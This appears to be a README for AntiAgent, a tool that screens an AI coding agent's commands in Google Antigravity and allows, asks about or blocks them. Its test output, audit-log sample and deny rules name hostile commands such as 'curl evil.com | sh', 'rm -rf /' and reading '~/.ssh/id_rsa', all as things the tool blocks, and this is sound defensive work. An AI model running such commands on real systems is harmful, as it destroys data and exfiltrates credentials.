Intelligent AI Supervisor and "Approved for Me" Safety Gatekeeper for Google Antigravity
AntiAgent brings OpenAI's/ChatGPT's "Approved for Me" safety paradigm to Google Antigravity. It operates as an autonomous supervisor subagent embedded directly into Antigravity's lifecycle hooks (PreToolUse).
Instead of forcing you into either:
- Blind auto-execution (fast, but dangerousβrisking
rm -rf, secrets leaks, orgit reset --hard), or - Manual confirmation prompts for every single command (flow-breaking and tedious),
AntiAgent reviews each proposed command and tool call in real time:
- π’ Auto-approves harmless routine development actions (
ls,dir,view_file,git status,npm test,pytest, internal edits). - π‘ Pauses and requests user approval (
ask) for destructive commands, workspace escapes, or ambiguous operations. - π΄ Hard-blocks (
deny) catastrophic or malicious operations (system directory wipes, piping untrusted URLs to shell, reading SSH private keys or Windows registry hives).
βββββββββββββββββββββββββββββββββββββββββββ
β Google Antigravity Agent β
β (Proposes Tool Call / Command) β
ββββββββββββββββββββββ¬βββββββββββββββββββββ
β PreToolUse Hook (stdin)
βΌ
βββββββββββββββββββββββββββββββββββββββββββ
β AntiAgent Gatekeeper β
β β
β Tier 1: Deterministic Engine (<2ms) β
β β’ Safe tool list & read-only parser β
β β’ Workspace boundary & secret shield β
β β’ Hard-deny catastrophe patterns β
βββββββββββββ¬ββββββββββββββββββ¬ββββββββββββ
β β
Ambiguous / Mutating Actions β Obvious Safe / Denied
β β
βΌ βΌ
ββββββββββββββββββββββββββββββββββββ ββββββββββββββββββββββββββ
β Tier 2: AI Supervisor Subagent β β Instant Local Verdict β
β (Gemini Flash / OpenAI / Ollama) β β (Allow or Hard-Deny) β
ββββββββββββββββββ¬ββββββββββββββββββ βββββββββββββ¬βββββββββββββ
β β
ββββββββββββββββββ¬ββββββββββββββββ
β Emits Hook Output (stdout)
βΌ
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β "allow" -> Auto-execute without prompt β
β "ask" -> Present to user with risk rationale β
β "force_ask" -> Always require explicit confirmation β
β "deny" -> Block immediately β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Tip
- macOS: Download
AntiAgent.dmg(recommended for 99% of Mac users). Drag to Applications and you're done. - Linux: Download
AntiAgent-Linux.tar.gz. Extract and run./AntiAgent.shor./install-app.sh. - Windows (Public Beta): Download
AntiAgent-Windows.zip. Extract and double-clickAntiAgent.bat. - What is the difference between downloads?
.dmg(macOS): Standard macOS disk image with custom drag-and-drop installer. Choose this for Mac..pkg(macOS): Guided installer package with automated wizard. Best for enterprise / MDM deployment..zip(macOS): Portable.apparchive without disk image mounting.AntiAgent-Linux.tar.gz(Linux): Complete standalone package for Linux (Ubuntu, Debian, Fedora, Arch, Bazzite) with native GTK WebKit window, Chrome App Mode, and XDG.desktoplauncher.AntiAgent-Windows.zip(Windows - Beta): Complete standalone package for Windows 10 & 11 with native desktop window launcher.
- Download
AntiAgent.dmgfrom the latest release. - Open the disk image and drag
AntiAgent.appinto your/Applicationsfolder. - Launch AntiAgent from Spotlight or Applications.
- Click "π Guide & Doctor" in the top bar and click "Enable Global Hook".
- Done! Antigravity is now protected across all your projects without touching a terminal.
π‘ Tip for macOS Gatekeeper: Because AntiAgent is free and open-source, macOS may show an unidentified developer warning on first launch. Simply Right-Click (Control-click)
AntiAgent.appand choose Open, or run:xattr -cr /Applications/AntiAgent.app
curl -fsSL https://raw.githubusercontent.com/aiden-guan/AntiAgent/main/install.sh | bash- Download
AntiAgent-Linux.tar.gzfrom the latest release. - Extract the archive:
tar -xzf AntiAgent-Linux.tar.gz cd AntiAgent - Run
./AntiAgent.shto launch the native desktop application. - To install the system application menu entry (
AntiAgent Guard) and enable the global hook automatically, run:./install-app.sh
Run in terminal:
curl -fsSL https://raw.githubusercontent.com/aiden-guan/AntiAgent/main/install.sh | bash(This automatically unpacks AntiAgent to ~/.local/share/antiagent, creates the desktop application shortcut, and registers the global safety hook).
Note
Windows Support is currently in Public Beta: The safety engine, heuristics, and Antigravity lifecycle hooks are fully functioning on Windows. The standalone Windows desktop application mode is newly released in Beta. If you encounter any platform-specific quirks or edge cases, please report them via GitHub Issues so we can continuously refine the Windows experience!
- Download
AntiAgent-Windows.zipfrom the latest release. - Extract the ZIP archive anywhere on your PC.
- Double-click
AntiAgent.batto launch the native desktop application. - Click "π Guide & Doctor" in the top bar and click "Enable Global Hook" (or double-click
Install-Hook.bat).- Google Antigravity is now fully protected on Windows!
π‘ Tip for Windows SmartScreen: If Windows Defender SmartScreen displays a warning, click More info β Run anyway.
Open PowerShell and run:
irm https://raw.githubusercontent.com/aiden-guan/AntiAgent/main/install.ps1 | iex(This automatically verifies Python 3.9+, registers the global Antigravity hook, creates a Desktop shortcut, and starts the desktop app).
If you prefer using the terminal or managing dependencies with pip:
# 1. Clone and install:
git clone https://github.com/aiden-guan/AntiAgent.git
cd AntiAgent
pip install -e .
# 2. Register protection hook with Antigravity:
# Protect all Antigravity projects globally:
antiagent install --global
# Or protect current workspace only:
antiagent install
# 3. Launch native desktop app or web dashboard:
antiagent app
# or
antiagent dashboardRun the simulation suite to see AntiAgent evaluate sample commands across Unix and Windows:
antiagent testSample output:
π§ͺ Running AntiAgent Safety Simulation Suite (v0.1.3)
============================================================
β
PASS [ALLOW] Benign directory read (ls -la)
β
PASS [ALLOW] Benign git status inspection
β
PASS [ALLOW] Routine test runner (pytest)
β
PASS [DENY] Hard-denied root wipe (rm -rf /)
β
PASS [DENY] Hard-denied piping web script to shell (curl | bash)
β
PASS [DENY] Hard-denied credential exfiltration (cat ~/.ssh/id_rsa)
β
PASS [ASK] Risky git force push (git push --force)
β
PASS [ASK] Destructive branch wipe (git clean -fdx)
β
PASS [ASK] Modifying file outside workspace (/etc/hosts)
β
PASS [ASK] Modifying sensitive credentials (.env)
============================================================
Results: 10/10 tests passed.
To run a full health check of your Antigravity environment:
antiagent doctorAntiAgent features integrated pull request and CI/CD monitoring modeled after Claude Code's background tracking and auto-fix capabilities.
- Real-Time CI Watcher: Monitors open PRs and tracks GitHub Actions check runs (tests, linting, build) with live progress.
- Automated Failure Diagnostics (
autofix): When CI checks fail, AntiAgent extracts the exact failure logs from the failed workflow steps so you or Antigravity can immediately diagnose and resolve errors. - Auto-Merge on Green: Optionally auto-merges (or arms GitHub auto-merge) as soon as all required checks turn green.
- Zero-Friction GitHub Inspection: Standard inspection commands (
gh pr status,gh pr checks,gh pr view,gh pr list) are pre-approved without prompts.
# Inspect current branch's PR status and check runs
antiagent pr status
# Live watch CI checks until completion (with optional auto-merge)
antiagent pr monitor --auto-merge
# Inspect failed checks and extract error logs for instant debugging
antiagent pr autofix
# List open pull requests
antiagent pr list
# Enable auto-PR monitoring by default in your configuration
antiagent config --set-auto-pr-monitor true
antiagent config --set-pr-auto-merge trueAntiAgent provides production-grade Remote Sessions via SSH, enabling you to manage and attach to Google Antigravity sessions running on remote machines (Mac Minis, Linux servers, cloud VMs, or dedicated build boxes) from your local workstation or laptop.
ββββββββββββββββββββββββββββββββββββββββ Standard OpenSSH / PTY
β Local AntiAgent Host β βββββββββββββββββββββββββββββββββββββββββββββββ
β β’ CLI: antiagent remote connect β β
β β’ Dashboard: /api/remotes/* β β
β β’ Registry: ~/.antiagent/remotes.jsonβ β
ββββββββββββββββββββββββββββββββββββββββ β
βΌ
βββββββββββββββββββββββββββββββββββββββββββ
β Remote Machine β
β β’ Native OpenSSH Server (sshd) β
β β’ agy --remote-control (Daemon) β
β β’ AntiAgent PreToolUse Hook (Protectedβ
βββββββββββββββββββββββββββββββββββββββββββ
- Zero Secret Storage: AntiAgent never prompts for or saves SSH passwords, passphrase strings, private key contents, or OAuth tokens. It delegates authentication exclusively to your local OpenSSH client,
ssh-agent, and~/.ssh/config. - Strict Host Key Verification: AntiAgent never passes
StrictHostKeyChecking=noorUserKnownHostsFile=/dev/null. Your standard~/.ssh/known_hostsfile is strictly respected to prevent Man-in-the-Middle (MITM) attacks. - Zero Shell Injection: Subprocesses are executed using argument arrays (
list[str]) withoutshell=True. Hostnames, aliases, ports, and instance names are strictly validated against RFC/POSIX character sets. - Atomic Config Storage: Host configurations are saved to
~/.antiagent/remotes.jsonusing atomic temporary file replacement and POSIX file mode0600(read/write only by the current user).
# 1. Register a remote machine (uses your ~/.ssh/config alias or IP)
antiagent remote add devbox 192.168.1.50 --user ubuntu --workspace ~/projects/app --agy-name "Ubuntu Devbox"
# 2. Test SSH connectivity and latency
antiagent remote test devbox
# 3. Run full remote health diagnostics (checks SSH, Antigravity binary, daemon, and hook status)
antiagent remote doctor devbox
# 4. Install AntiAgent safety hook on the remote workspace
antiagent remote protect devbox
# 5. Start Antigravity daemon in the background on the remote machine
antiagent remote start devbox
# 6. Check remote daemon status and retrieve web control URL
antiagent remote status devbox
# 7. Attach an interactive terminal session (full PTY support with window resizing)
antiagent remote connect devbox
# 8. List all configured remote machines
antiagent remote listThe AntiAgent Web Dashboard (antiagent dashboard) includes a real-time Remote Sessions card:
- Live Fleet View: Shows machine reachability, remote OS, background daemon status, and AntiAgent protection status at a glance.
- 1-Click Control: Start or stop remote
agy --remote-controldaemons without logging in manually. - Visual Diagnostics Modal: Run deep system health checks across SSH, workspaces, and binaries with actionable remediation tips.
- Connection Tester: Test OpenSSH connectivity and measure round-trip latency in milliseconds directly within the modal.
- Localhost Security: All remote REST endpoints are strictly bound to localhost with CSRF origin checks.
AntiAgent provides a centralized, high-performance browser for all your Antigravity conversation sessions across Desktop, IDE, and CLI / agy.
- Unified Multi-Source Discovery: Discovers and indexes sessions across Antigravity Desktop (
~/.gemini/antigravity), Antigravity IDE (~/.gemini/antigravity-ide), and CLI (~/.gemini/antigravity-cli,~/.gemini/agy) under a canonical(source, conversation_id)identity. - Native Context & Auto-Compaction Inspection:
agyalready provides built-in automatic context compaction. AntiAgent deeply integrates with Antigravity's native engine: detecting checkpoints (CHECKPOINT,COMPACTION,CONTEXT_RESET), turn counts, tool executions, transcript size, and displaying the latest compaction summary rather than duplicating LLM compression. - Strict Chain-of-Thought & Privacy Protection: The model's internal reasoning (
thinking) is strictly stripped and never rendered in the UI or written to transcript exports. - Sensitive Credential Shielding: Tool arguments containing tokens, passwords, API keys, Bearer tokens, GitHub PATs, OpenAI keys, or PEM private keys are automatically redacted.
- High-Performance Bounded Indexing: Uses bounded head (<8KB) and tail (<16KB) byte reads combined with SQLite
conversation_summaries.dbcaching and in-memory mtime checks to index hundreds of sessions in milliseconds. - Session Resumption & Export: One-click transcript export (Markdown or JSON) and session continuation via
agy --resume(CLI) or native IDE/Desktop workspace launchers.
# List all sessions across Desktop, IDE, and CLI
antiagent conversations list
# Filter by source (desktop, ide, cli) and search keywords
antiagent conversations list --source desktop --search "refactor" --limit 10
# Output as JSON
antiagent conversations list --json
# Inspect conversation details and native context compaction state
antiagent conversations show <conversation-id>
# Export transcript to clean Markdown or JSON (without internal reasoning)
antiagent conversations export <conversation-id> --format markdown > session.md
antiagent conversations export <conversation-id> --format json > session.json
# Resume or open session in Antigravity CLI / agy
antiagent conversations resume <conversation-id>
# Inspect conversations on a remote SSH machine
antiagent remote conversations <machine-name> listAntiAgent includes a high-productivity PTY bridge and lifecycle supervisor for the Google Antigravity CLI (agy), delivering an interactive prompt queue and steering system inspired by OpenAI Codex and OpenCode.
Launch Antigravity CLI through AntiAgent:
antiagent agy [AGY_ARGS...]Arbitrary arguments and flags are forwarded transparently to agy (e.g., antiagent agy --model gemini-2.5-pro, antiagent agy --continue, antiagent agy --mode=plan, antiagent agy --resume <id>).
Note
Bypassing the wrapper: Running stock agy directly continues to launch stock Antigravity CLI directly without enhanced keyboard interception.
| Key | Context | Behavior |
|---|---|---|
Tab |
Agent actively busy / running | Queue prompt: Holds current instruction in FIFO queue and clears the editor so you can immediately type another turn. |
Tab |
Agent safely idle | Native Tab: Preserves standard autocomplete and focus navigation. |
Enter |
Agent safely idle | Immediate Submit: Submits user turn directly without latency. |
Enter |
Agent actively busy / running | Smart Enter (Queue): Queues prompt without submitting. |
Enter |
Interactive Approval / Preview / Question modal with typed prompt | Smart Enter (Queue & Protect): Queues prompt and prevents Enter from leaking into the modal. Never accidentally approves previews like /teamwork-preview or permission dialogs! |
Enter |
Interactive Approval / Preview / Question modal with empty prompt | Native Enter: Preserves native approval / choice selection. |
Ctrl+S |
Agent running + non-empty prompt | Steer: Captures steering instruction, performs a controlled single-shot interruption, waits for safe lifecycle transition, and injects steering prompt into the same conversation. |
Esc |
Any | Native hard interrupt / cancel. |
# Inspect queued, dispatching, and held prompts
antiagent queue status
# Clear prompts from the active queue
antiagent queue clear
# Resume held prompts after a session recovery
antiagent queue resumeAntiAgent supports three distinct safety profiles:
| Profile | Routine Reads (cat, dir, ls, view_file) |
Dev Commands (npm test, pytest) |
File Edits in Project | Destructive Ops (rm, del /s /q, git reset --hard) |
Credential/Secret Targets |
|---|---|---|---|---|---|
balanced (default) |
π’ Auto-Approve | π’ Auto-Approve | π’ Auto-Approve | π‘ Ask User | π‘ Ask User |
paranoid |
π’ Auto-Approve | π‘ Ask User | π‘ Ask User | π‘ Ask User | π΄ Deny |
autonomous (OpenAI/Claude subagent review style) |
π’ Auto-Approve | π’ Auto-Approve | π’ Auto-Approve | π’ Auto-Approve (if within bounds) | π΄ Deny |
Linux home directories under /var (for example, /var/home/<user>) follow the same file access policy as homes under /home. Ordinary reads and project edits can be auto-approved under the normal profile rules. Credentials, system paths outside the current user's home, and writes outside the active workspace still require review; paranoid mode still requires confirmation for edits.
AntiAgent treats Antigravity's current per-conversation artifactDirectoryPath as an agent-owned write area. Routine file mutations inside that exact directory are auto-approved, while sibling conversations and other external filesystem paths remain protected.
Artifact auto-approval is enabled by default and can be toggled via auto_approve_artifact_writes: bool in configuration or the ANTIAGENT_AUTO_APPROVE_ARTIFACT_WRITES environment variable.
AntiAgent supports first-class allowlisting for Model Context Protocol (MCP) tools and arbitrary Antigravity tool calls. When a tool is trusted, AntiAgent auto-approves calls to that tool without invoking the LLM supervisor, eliminating latency and avoiding unnecessary supervisor tokens.
- Exact Tool Matching (
trusted_tools): Matches the exacttool_namestring (e.g.mcp__github__search,mcp__github__fetch_file,mcp__notion__search). - Regex Tool Matching (
trusted_tool_patterns): Matches regular expressions against the fulltool_name(e.g.^mcp__github__.*$,^mcp__notion__(search|fetch).*$), allowing entire MCP tool suites or namespaces to be trusted at once. - Global Configuration Requirement: Tool allowlists are security-sensitive and must be configured in your global user configuration (
~/.antiagent/config.json) or via the AntiAgent Dashboard. Untrusted workspace repositories (.antiagent.json) are strictly blocked from defining or overridingtrusted_toolsortrusted_tool_patterns, ensuring a malicious cloned repository cannot whitelist its own MCP tools. - Preservation of Non-Bypassable Safety Invariants: Trusting a tool bypasses supervisor review for that tool only after applicable hard safety checks. Catastrophic command protection (
rm -rf /), secret credential shielding (.env,~/.ssh/id_rsa), and protected system paths (/etc,/var,C:\Windows) remain strictly non-bypassable even with broad patterns. - Security Implications: AntiAgent operates generically on tool names and cannot validate arbitrary remote server-side behavior for every MCP provider. Trusting an MCP tool allows calls to that tool without AI supervisor review. Only whitelist tools and servers from trusted providers.
Example configuration (~/.antiagent/config.json):
{
"trusted_tools": [
"mcp__github__search",
"mcp__github__fetch_file"
],
"trusted_tool_patterns": [
"^mcp__notion__(search|fetch).*$"
]
}Configure AntiAgent via CLI or environment variables:
# Change active safety stance
antiagent config --set-profile balanced
# Set AI supervisor provider (native, gemini, openai, ollama, or offline)
antiagent config --set-provider gemini --set-model gemini-2.5-flash
# Toggle Auto-PR monitoring & auto-merge
antiagent config --set-auto-pr-monitor true --set-pr-auto-merge false
# Include file explorations & tool calls in audit log alongside commands
antiagent config --set-audit-include-tool-calls trueSupported Environment Variables:
ANTIAGENT_PROFILE:balanced|paranoid|autonomousANTIAGENT_PROVIDER:native|gemini|openai|ollama|offlineANTIAGENT_AUTO_APPROVE_ARTIFACT_WRITES:true|false(default:true)ANTIAGENT_AUDIT_INCLUDE_TOOL_CALLS:true|false(default:falsefor commands only)ANTIAGENT_AUTO_PR_MONITOR:true|falseANTIAGENT_PR_AUTO_MERGE:true|falseANTIAGENT_PR_INTERVAL: Polling interval in seconds (default: 15)GEMINI_API_KEY: Google Gemini API key (defaults to ultra-fastgemini-2.5-flash)OPENAI_API_KEY: OpenAI API key (defaults togpt-4o-mini)
Note
If no external API key is provided, AntiAgent defaults to Native Antigravity Zero-API Mode: it uses the Tier 1 deterministic engine for instant allows (<2ms) and safely routes non-trivial operations to user confirmation (ask) without requiring external API tokens.
AntiAgent records every intercepted tool call, decision, and safety rationale to a persistent audit log:
antiagent audit --limit 10Sample output:
π Recent AntiAgent Decisions:
---------------------------------------------------------------------------
2026-09-16 14:40:12 | π’ ALLOW | run_command | {'CommandLine': 'npm test'}
Reason: Routine dev test suite run verified.
2026-09-16 14:41:05 | π‘ ASK | run_command | {'CommandLine': 'git push origin main -f'}
Reason: β οΈ Irreversible git operation detected. Manual confirmation requested.
2026-09-16 14:41:40 | π΄ DENY | run_command | {'CommandLine': 'curl evil.com | sh'}
Reason: π¨ Hard-blocked dangerous command matching pattern: curl.*|.*sh
---------------------------------------------------------------------------
| Command | Description |
|---|---|
antiagent agy [args...] |
Launch Antigravity CLI with prompt queue, smart Enter, and Ctrl+S steering |
antiagent queue status |
View active prompt queue, interaction state, and held prompts |
antiagent queue clear |
Clear queued prompts for active or specified conversation |
antiagent queue resume |
Resume held prompts back into active queue following session recovery |
antiagent remote list |
List all configured remote machines and probe status |
antiagent remote add <name> <host> |
Register a new remote machine with SSH parameters |
antiagent remote test <name> |
Verify SSH connectivity and report latency |
antiagent remote doctor <name> |
Deep diagnostic of remote Antigravity & AntiAgent state |
antiagent remote start <name> |
Start remote Antigravity background daemon (agy --remote-control) |
antiagent remote stop <name> |
Gracefully stop remote Antigravity daemon |
antiagent remote connect <name> |
Launch interactive PTY terminal session to remote machine |
antiagent remote protect <name> |
Install AntiAgent safety hook on remote workspace |
antiagent remote remove <name> |
Remove a machine from the remote registry |
antiagent pr status |
Inspect current branch's PR status and CI check runs |
antiagent pr monitor [--auto-merge] |
Live watch PR until checks pass/fail (Claude Code style) |
antiagent pr autofix |
Extract failed CI check logs for prompt/agent remediation |
antiagent conversations list |
Browse and filter Antigravity sessions across Desktop, IDE, CLI |
antiagent conversations show <id> |
Inspect transcript and native context auto-compaction state |
antiagent conversations export <id> |
Export clean session transcript (Markdown or JSON) without CoT |
antiagent conversations resume <id> |
Resume conversation via agy or open workspace |
antiagent remote conversations <machine> |
Browse conversations on remote SSH machines |
antiagent app |
Launch the native desktop application (macOS, Linux & Windows) |
antiagent install-app |
Install native desktop launcher/application (.desktop entry on Linux) |
antiagent uninstall-app |
Remove native desktop launcher/application (.desktop entry on Linux) |
antiagent dashboard |
Launch the interactive local web dashboard |
antiagent doctor |
Run comprehensive health check on Antigravity & hooks |
antiagent install [--global] |
Register PreToolUse safety hook with Antigravity |
antiagent uninstall [--global] [--desktop] [--all] |
Remove safety hook or native desktop integration (.desktop file on Linux) |
antiagent status |
View active protection scope, profiles, and provider |
antiagent test |
Run full security test matrix |
antiagent audit [--limit N] [--all-tools] |
Inspect recent security verdicts and activity audit history |
antiagent config |
View and modify configuration settings |
antiagent build-dmg |
Package macOS .dmg, .pkg, and .zip installers |
antiagent build-linux |
Package standalone AntiAgent-Linux.tar.gz (Linux) |
antiagent build-windows |
Package standalone AntiAgent-Windows.zip (Windows Beta) |
In addition to direct hook installation, AntiAgent comes bundled as an Antigravity plugin in the plugin/ directory. You can drop it directly into .agents/plugins/antiagent/ or ~/.gemini/config/plugins/antiagent/.
Contributions are welcome! Please see CONTRIBUTING.md for details on submitting pull requests and reporting security concerns.
AntiAgent is licensed under the MIT License.